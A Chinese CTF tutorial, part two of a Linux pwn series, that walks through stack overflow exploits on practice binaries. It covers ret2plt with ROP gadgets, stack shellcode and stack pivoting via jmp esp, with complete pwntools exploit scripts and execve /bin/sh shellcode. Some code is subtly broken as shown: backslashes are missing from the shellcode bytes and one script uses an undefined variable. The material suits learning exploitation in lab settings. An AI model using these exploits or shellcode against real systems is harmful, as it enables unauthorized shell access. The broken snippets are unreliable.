Linux pwn从入门到熟练(二)

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前言

上回说到,如何利用程序中system函数以及bin/sh字符串来进行pwn。这里我们会介绍,如何在栈可执行而system函数以及参数没有的情况下,如何自己布置payload进行pwn。此外,还提供了一份可以参考的pwn套路,套路熟悉了,即可慢慢转化为熟悉。故此名曰:入门到熟练(二)。

 

练习题参考(利用库函数读取参数)

所谓的入门到熟练,套路还是要有的。套路有了,就可以见招拆招。我们一步一步来。

拿到题,我们需要依次查看:

  1. 检查保护情况
  2. 判断漏洞函数,如gets,scanf等
  3. 计算目标变量的在堆栈中距离ebp的偏移
  4. 分析是否已经载入了可以利用的函数,如system,execve等
  5. 分析是否有字符串/bin/sh

Pwn4题目地址。

第一步,保护情况,

发现堆栈不可以执行,其他到还好。那么,我们在溢出时就需要再堆栈中部署的具有功能的地址,而不是具体的代码了。理解成堆栈中需要布置路线图,之后的程序按照这个路线图来执行。

反之,如果堆栈可以执行,我们就要思考如何布置shellcode,如何优化shellcode长度以及删除坏字符。(将在下一题的时候介绍)

第二步,检测漏洞函数。

发现是gets。这里分享一个ctf-pwn-tips,里面总结了很多的存在漏洞的函数,以及输入参数的描述,非常实用。TIPS

第三步,确认偏移量。

有几种方式。

我们可以直接从IDA的代码中分析出来,参数距离EBP的位置。如上述,看到距离ebp是0x64(100)个的字节,那么距离存放返回地址的偏移就是100+4=104个字节。但是,IDA的分析并不都是准确的,真正准确的位置,还是需要我们手动去调试。具体方法参考Linux PWN从入门到熟练。这里简单整理一下步骤(假设linux程序在虚拟机guest执行,IDA在主机host执行):

  1. 拷贝linux_server到guest的程序目录,并执行;
  2. IDA设置远程调试,并设置正确的guest IP和端口;
  3. IDA设置程序的断点在return,可以方便查看寄存器;
  4. 运行程序;
  5. 用脚本patternLocOffset.py创建偏移测试字符串,700字节度比如;
  6. 将产生的字符串在guest中输入;
  7. 查看host中IDA的ebp字符串;
  8. 在patternLocOffset.py中计算偏移

最终应该可以看到下面类似的结果。

$ python patternLocOffset.py -l 700 -s 0x41366441
[*] Create pattern string contains 700 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 108 (adjusted another-endian)
[+] take time: 0.0004 s

发现实际的偏移是108个字节,覆盖点距离ebp。那么距离返回地址就应该是108+4=112字节。可见,IDA的分析有时是不准的,需要自己去测量。

第四步,分析可以利用的函数,

发现有system的:

第五步,查找是否有系统调用字符串:

ROPgadget --binary ret2libc2 --string "/bin/sh"
Strings information
============================================================

发现并没有字符串了,因此这里我们需要想个办法。

直观的想法是在shellcode中,在参数的位置直接放入字符串“/bin/sh”,比如下面这样:

payload = flat(['a' * 112, system_plt, 0xabcdabcd, “/bin/sh”])

但是正如我们前面所说,放在堆栈中的是程序执行的路线图,而不是实际的程序或者字符串,因此,按照上述方式放置字符串,system并不会读取”/bin/sh”,而是读取”/bin/sh”对应的4个字节的地址所指向的内存空间,这个空间明显是不合法,因此就会导致利用失败。

怎么办呢?我们发现程序中还载入了函数gets,那么我们可以利用gets来读取用户输入的”/bin/sh”放置到某个地址空间去,接着system再调用它。“某个地址空间”可以是下面的buf2,可以发现它的地址是0x0804A080。这个空间可以让我们使用(感觉明显是CTF题留出来的位置= =)

那么,我们的exp可以按照下面的方式安排:

##!/usr/bin/env python
from pwn import *

sh = process('./pwn4')
shelf = ELF('./pwn4')

gets_plt = shelf.plt['gets']
system_plt = shelf.plt['system']
pop_ebp = 0x0804872f
buf2 = 0x804a080
payload = flat(
['a' * 112, gets_plt, pop_ebp, buf2, system_plt, 0xabcdabcd, buf2])

sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

其中关键的代码是:

payload = flat(
['a' * 112, gets_plt, pop_ebp, buf2, system_plt, 0xabcdabcd, buf2])

相信有的朋友会不明白,为啥有个[gets_plt, pop_ebp, buf2],这样的payload布置。Pop_ebp的主要目的是让eip流向system的位置,并且取出system地址赋值给eip。

Pop_ebp其实不一定是pop ebp,pop任何其他的寄存器都可以,主要是利用该指令的esp+4的功能。比如,我们可以找到如下的位置,其中0x0804872f,0x0804843d都可以让它esp+4操作一次就好,操作多了就流的多了,就不指向system地址了,注意我们这里还要求得要返回ret一下,这样才会实际的提取system的地址出来,赋值给eip:

@ubuntu:~/ $ ROPgadget --binary pwn4 --only 'pop|ret'
Gadgets information
============================================================
0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1

Unique gadgets found: 7

未来更清楚一些,画了一个图,其中序号的顺序表示,对应的命令执行完之后,esp对应的位置。

 

第一题(堆栈直接执行shellcode)

接下来这题,我们再轻松一点,可以直接在堆栈中执行程序。

pwn5

继续前面的套路。

第一步,查看保护

发现,可以直接在堆栈上执行程序了,开启的是PIE,地址随机化的保护。

第二步,判断漏洞函数。

发现函数是read,仅仅读取0x40(64)个字节。

第三步,计算目标变量的在堆栈中距离ebp的偏移

EBP的内容为:0x3761413661413561

$ python patternLocOffset.py -l 700 -s 0x3761413661413561
[*] Create pattern string contains 700 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 16 (adjusted another-endian)
[+] take time: 0.0005 s

距离EBP的偏移是16个字节,距离存放的返回地址是16+8=24个字节。

这里可以发现IDA分析的又是正确的了,0x10个字节。

第四步和第五步,分析是否已经载入了可以利用的函数,

如system,execve等

发现,并没有上述函数。但是由于堆栈可以执行,因此我们可以考虑直接将shellcode阻止在payload里面。因此,这里和第五步分析是否有字符串/bin/sh合并了,我们可以自己放置字符串,并且调用对应的地址了。

理论上,我们可以直接利用pwntools产生的shellcode来进行部署,但是这道题有点特殊。在返回地址之后所剩余的空间=64-24-8=32个字节(返回地址还要占用8个字节),因此实际部署shellcode的长度还剩下32个字节,使用pwntools产生的shellcode有44个字节,太长了。因此,我们可以从网上找到更短的shellcode:

# 23 bytes
# https://www.exploit-db.com/exploits/36858/
shellcode_x64 = "x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"

它的汇编形式是

# char *const argv[]
xorl %esi, %esi
# 'h' 's' '/' '/' 'n' 'i' 'b' '/'
movq $0x68732f2f6e69622f, %rbx
# for 'x00'
pushq %rsi
pushq %rbx
pushq %rsp
# const char *filename
popq %rdi
# __NR_execve 59
pushq $59
popq %rax
# char *const envp[]
xorl %edx, %edx
syscall

好了,shellcode确定好了,我们现在还有一个问题。Shellcode执行的地址如何确定呢?shellcode的地址,其实就是buf的地址加上32个字节的偏移。

我们前面发现,该程序是动态改变地址的,因此静态的确认buf地址是不可行的,进而静态的确认shellcode的地址是不可行的。

处理到这里好像有点死胡同了,我们发现程序中有printf函数,理论上可以利用它来打印buf的地址,然后实时的计算buf+32的地址,就能够得到shellcode的地址。但是,我们回头看看程序本身的执行,会发现:

它实际上已经为我们解决了这个问题,自己输出了buf的地址(= = CTF题目的难易程度真的是微妙之间呀)

那么,我们的exp思路就是: 实时读取buf的地址,计算buf+32得到shellcode的地址,放置在payload中。

from pwn import *
code = ELF('./pwn5')

# 23 bytes
# https://www.exploit-db.com/exploits/36858/
shellcode_x64 = "x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"
sh.recvuntil('[')
buf_addr = sh.recvuntil(']', drop=True)
buf_addr = int(buf_addr, 16)
payload = 'b' * 24 + p64(buf_addr + 32) + shellcode_x64
sh.sendline(payload)
sh.interactive()

堆栈的布置图,以及地址的相对位置,以buf为起点。

 

第二题(控制esp进行精准打击)

接下来,我们来点有难度的。在这个程序中,我们的payload实在放不下了,即使是23字节,那么怎么办呢?

pwn6

继续前面的过程:

第一步:检测保护情况

发现,是个三无程序。么有任何保护,看起来很简单?哈哈,并没有。看官请继续。

第二步,判断漏洞函数,

如gets,scanf等

发现是fgets函数,仅仅读取50个字节的字符长度。

第三步,

计算目标变量的在堆栈中距离ebp的偏移。

方法和前面类似,发现偏移距离ebp是0x20,那么距离ret_addr就是0x20+4=0x24(36)字节了。

第四步和第五步:

分析是否已经载入了可以利用的函数。发现并没有

$ ROPgadget --binary stack_pivoting_1 --string '/bin/sh'
Strings information
============================================================

字符串自然也是没有的。

我们考虑利用shellcode,好像可以类似于上一题的操作了。但是并不能,留给我们布置shellcode的长度为50-36-4=10字节(同样有4个字节的返回地址存放)!尴尬不==,放两个地址就没有位置了。但如果你能够厉害到用10个字节做shellcode,请大胆分享出来!

那么怎么办呢?

既然,堆栈溢出的位置不行了,那么我们就把shellcode放在栈里面吧!因为堆栈具有可执行的权限,因此这样完全是可行的。

这里,我先放图出来解释一下思路:

我们这样就总共有0x20(36个字节)的位置存放shellcode的了,顿时感觉找到了新出路。但是,要做到跳转到放置shellcode的位置,似乎并没有那么简单。要达到这个目的,我们需要做到以下几件事情:

  1. 推算shellcode放置的地址
  2. 跳转到shellcode放置的位置

首先,第一点,shellcode的位置就是发射payload的时候esp_old的位置,我们可以推算出来,当程序提取完返回地址之后,esp指向的地址距离esp_old的地址为0x20+4(ebp)+4(ret_addr)=0x28。因此,我们需要用当前的esp-0x28,得到的就是shellcode的地址。

对于第二点,我们如何让eip顺利的依次取出我们设计好的路线图呢?在ret_addr,我们需要寻找到一个gadget,它能够跳转到esp的位置,以继续往后执行栈上的代码。注意,这里我们为什么不直接将可执行的代码布置在ret_addr的位置,因为这里是原本的函数提取返回函数地址的地方,它并不会执行这里位置的代码,而是执行这个位置的内容指向的地址的代码。我们需要jmp esp这个操作,来让程序流获得在栈上执行的先河。

$ ROPgadget --binary stack_pivoting_1 --only 'jmp|ret' | grep 'esp'
0x08048504 : jmp esp

发现只有这么一个地址。0x08048504。这也正是图中的位置。注意,当我们取出ret_addr里面的地址的时候,esp已经+4了,因此就会指向我们的下一步操作:跳转回esp_old的位置。

在这里,我们直接可以选择让pwntools产生可执行的代码”sub esp 0x28; jmp esp”。注意,这里可以是直接运行的代码,因为我们的程序已经开始在栈上执行了,而不再是取出地址了。

最后的EXP按照下面这样布置:

from pwn import *

sh = process('./pwn6')

shellcode_x86 = "x31xc9xf7xe1x51x68x2fx2fx73"
shellcode_x86 += "x68x68x2fx62x69x6ex89xe3xb0"
shellcode_x86 += "x0bxcdx80"

sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (
    0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()

注意,这里我们又启用了另外一段代码:

它更加短,只有21个字节。Shellcode越短是越好的。它的汇编对应如下:

shellcode_x86 = "x31xc9”                  # xor    ecx, ecx
shellcode_x86 += “xf7xe1”            # mul    ecx
shellcode_x86 += “x51”            # push   ecx
shellcode_x86 += "x68x2fx2fx73x68"  # push 0x68732f2f
shellcode_x86 += "x68x2fx62x69x6e"  # push 0x6e69622f    
shellcode_x86 += “x89xe3”            # mov    ebx, esp
shellcode_x86 += “xb0x0b”            # mov    al, 0xb
shellcode_x86 += "xcdx80"        # int    0x80

 

总结

最后,再次给大家留下练习题。

pwn7

给大家一个小tips,32位和64位程序的调试,一般的处理方式是准备两个虚拟机。但是这样操作太麻烦了,而且pwntools在32位下面经常无法正常工作。怎么办呢?理论上64位ubuntu是可以运行32位程序的,但是需要相关的库函数安装。使用下面的命令安装就好(参考):

sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install zlib1g:i386 libstdc++6:i386 libc6:i386

如果是比较老的版本,可以用下面的命令:

sudo apt-get install ia32-libs

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